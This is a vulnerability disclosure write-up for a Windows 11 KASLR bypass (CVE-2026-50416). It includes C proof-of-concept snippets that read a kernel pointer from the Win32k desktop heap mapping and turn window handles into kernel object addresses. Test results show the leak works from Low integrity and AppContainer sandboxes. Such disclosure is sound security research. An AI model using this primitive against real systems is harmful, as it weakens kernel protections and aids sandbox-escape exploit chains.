CVE-2026-50416: Windows 11 KASLR bypass
On Windows 11 Insider build 10.0.28020.2149, the user mode mapping of the Win32k desktop heap exposed a raw kernel session pool pointer at offset 0x100.
The read itself is almost offensively small:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
In my test session, that returned:
0xffffc600dcc00040
The value stayed the same across processes on the same desktop and changed after a reboot. A process launched on another desktop received a different value because it had a different desktop heap. From this one QWORD, the PoC recovered the kernel desktop heap base and then used user32!gSharedInfo to derive the kernel addresses of live window objects.
The same read worked from Low integrity, AppContainer, an LPAC configuration with zero capabilities, and a Low integrity AppContainer child with zero capabilities.
The desktop heap is supposed to be shared. The kernel pointer is not.
Win32k stores USER objects such as windows, menus, classes, hooks, and related metadata in desktop heaps. Each desktop has its own heap. Part of that heap is mapped into processes associated with the desktop so user mode can read shared GUI state without asking the kernel for every field.
On the tested x64 build, the user mode mapping can be reached through the current thread's TEB client data:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
The offsets are build specific, but the route is simple:
GS:[0x30]
-> TEB
-> ClientInfo at TEB + 0x800
-> ClientInfo[5]
-> user mode desktop heap mapping
The PoC calls VirtualQuery on the returned address and records the mapped region and its protection. Nothing has gone wrong yet. A read-only desktop heap mapping is normal Win32k behavior.
The problem begins 256 bytes into it.
The main PoC reads one QWORD from the mapped heap:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
The value passed the basic checks expected from a kernel virtual address on the tested system:
The stability test creates STATIC, BUTTON, and EDIT windows, reads the value before creation, reads it again while the windows exist, destroys them, and reads it a third time.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
All three reads returned the same value. Window allocation activity did not move it. That behavior is consistent with a field in the desktop heap metadata rather than a short-lived object pointer.
The cross-process property is just as important. Two processes attached to the same desktop observe the same leaked value because they are looking at the same desktop heap. After a reboot, KASLR gives the session a new address. A child placed on another desktop observes another pointer because that desktop owns another heap.
That gives the leak a useful identity:
same boot + same desktop -> same pointer
same boot + different desktop -> different pointer
new boot -> different pointer
On the tested build, the leaked pointer sits 0x40 bytes above the kernel desktop heap base used by the PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Using the recorded session value:
leaked pointer = 0xffffc600dcc00040
kernel desktop heap base = 0xffffc600dcc00000
This relationship is build specific. For the build used during testing, it gives the kernel-side anchor needed for the next step.
One pointer is already useful. An address for a chosen object is much more useful.
user32.dll exports gSharedInfo, which exposes the USER handle entry list and the size of each entry:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
An HWND contains an index into the USER handle table. The PoC takes the low 16 bits of the handle, walks to the matching entry, and reads the desktop heap offset stored there.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
The same offset names the object in both mappings:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
So the full calculation is:
kernel desktop heap base = desktop_heap[0x100] - 0x40
handle index = HWND & 0xffff
heap offset = aheList[handle index].offset
kernel window address = kernel desktop heap base + heap offset
The PoC creates six window classes and performs the calculation for each one:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXFor every object, it prints the HWND, handle index, user mode object address, heap offset, and kernel address.
HWND
-> low 16-bit handle index
-> gSharedInfo handle entry
-> desktop heap offset
-> kernel desktop heap base + offset
-> kernel address of that window object
This is the part that turns the disclosure from a loose kernel pointer into an address oracle for selected USER objects on the tested desktop heap.
The desktop heap arrives through a shared mapping. Integrity levels and AppContainer restrictions do not rewrite the contents of that mapping for each process. If the process receives the desktop heap, it receives the QWORD at 0x100 with it.
The sandbox PoC launches children in several contexts and makes each child read the value from its own TEB and its own desktop heap mapping.
| Context | Configuration | Result |
|---|---|---|
| Medium integrity | Standard user process | Leaked |
| Low integrity | Token integrity lowered to Low | Leaked |
| AppContainer | Zero requested capabilities | Leaked |
| LPAC configuration | All application packages opt-out policy, zero requested capabilities | Leaked |
| Low integrity AppContainer | Low IL plus AppContainer, zero requested capabilities | Leaked |
| Alternate desktop | Child assigned to a new desktop | Leaked a different value |
The first five children were attached to the default desktop and returned the same address. The alternate desktop child returned another address because it received another desktop heap.
The child output has a compact format so the parent can compare results:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
The stricter helper also records the token state and capability count:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234